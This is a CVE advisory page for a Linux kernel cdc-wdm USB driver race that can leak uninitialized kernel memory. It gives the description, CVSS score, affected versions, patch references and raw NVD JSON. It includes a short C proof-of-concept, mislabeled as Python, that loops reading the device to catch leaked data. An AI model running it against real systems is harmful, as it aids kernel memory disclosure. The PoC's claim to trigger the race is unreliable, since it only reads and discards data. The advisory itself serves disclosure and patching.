CVE-2026-43427

Description

In the Linux kernel, the following vulnerability has been resolved: usb: class: cdc-wdm: fix reordering issue in read code path Quoting the bug report: Due to compiler optimization or CPU out-of-order execution, the desc->length update can be reordered before the memmove. If this happens, wdm_read() can see the new length and call copy_to_user() on uninitialized memory. This also violates LKMM data race rules [1]. Fix it by using WRITE_ONCE and memory barriers.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (主分支及稳定分支，具体为修复提交之前的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43427: Linux Kernel cdc-wdm read reordering
 * This code attempts to trigger the race condition by continuously reading
 * from the cdc-wdm device to catch uninitialized memory.
 *
 * Compile: gcc -o poc_cve2026_43427 poc_cve2026_43427.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/dev/cdc-wdm0"
#define BUFFER_SIZE 4096

int main(int argc, char *argv[]) {
    int fd;
    char buffer[BUFFER_SIZE];
    ssize_t bytes_read;
    const char *dev = DEVICE_PATH;

    if (argc > 1) {
        dev = argv[1];
    }

    printf("[*] Opening device: %s\n", dev);
    fd = open(dev, O_RDONLY);
    if (fd < 0) {
        perror("[-] Failed to open device");
        return EXIT_FAILURE;
    }

    printf("[+] Device opened successfully. Starting read loop...\n");
    printf("[*] Trying to read uninitialized memory due to instruction reordering...\n");

    while (1) {
        memset(buffer, 0, BUFFER_SIZE);
        // Triggering the wdm_read code path
        bytes_read = read(fd, buffer, BUFFER_SIZE);

        if (bytes_read > 0) {
            // In a real analysis scenario, one would dump 'buffer' here
            // to identify kernel pointers or data patterns.
            // printf("Read %zd bytes\n", bytes_read);
        } else if (bytes_read == 0) {
            // End of file or no data
            usleep(1000);
        } else {
            perror("[-] Read error");
            break;
        }
    }

    close(fd);
    return EXIT_SUCCESS;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43427
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43427
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43427/
[4] VulDB https://vuldb.com/cve/CVE-2026-43427
[5] https://git.kernel.org/stable/c/170e8daca24da6edb4be82ab01abf44e87af387b
[6] https://git.kernel.org/stable/c/276aef0fd2b92f41b920ac891c72cadeee957934
[7] https://git.kernel.org/stable/c/4ee3062bf2c9a722afef429826e8607eaf3fc6a0
[8] https://git.kernel.org/stable/c/638328ca9c17ae6511ad62198c57bae32ffa3c91
[9] https://git.kernel.org/stable/c/67ed312124bb1b61858778ac0b985b48961c862a
[10] https://git.kernel.org/stable/c/8df672bfe3ec2268c2636584202755898e547173
[11] https://git.kernel.org/stable/c/c8fa96ed021923dae147bcd9f9205b8df7b82360
[12] https://git.kernel.org/stable/c/e3c874b05901dc519054b5107d16620e6d2b5fea

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43427", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:54.867", "lastModified": "2026-05-20T18:29:41.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: class: cdc-wdm: fix reordering issue in read code path\n\nQuoting the bug report:\n\nDue to compiler optimization or CPU out-of-order execution, the\ndesc->length update can be reordered before the memmove. If this\nhappens, wdm_read() can see the new length and call copy_to_user() on\nuninitialized memory. This also violates LKMM data race rules [1].\n\nFix it by using WRITE_ONCE and memory barriers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.26.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "5F7C4E68-B5A8-416F-9E9E-9E29289DF9DC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.19", "matchCriteriaId": "D394AC60-6F28-435F-872A-CCDF384B8331"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.26:-:*:*:*:*:*:*", "matchCriteriaId": "2904D4F1-8EE3-49BD-8EA8-5C7FA05E28F3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.26:rc4:*:*:*:*:*:*", "matchCriteriaId": "12D0C03A-7D30-485F-8431-638918FE9658"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.26:rc5:*:*:*:*:*:*", "matchCriteriaId": "8B8E0DDC-7566-4EF9-9A8F-B1870CA83144"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.26:rc6:*:*:*:*:*:*", "matchCriteriaId": "764777FB-FD1E-4930-899C-AC5D2DF293E8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.26:rc7:*:*:*:*:*:*", "matchCriteriaId": "95461D7E-A080-4B9E-BC72-6BDBC1C1A447"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.26:rc8:*:*:*:*:*:*", "matchCriteriaId": "D913E879-38EC-46AE-9F20-5D3E5F2CDCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.26:rc9:*:*:*:*:*:*", "matchCriteriaId": "B264E869-1A6C-4D85-9944-2E4EB523CD82"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/170e8da ... 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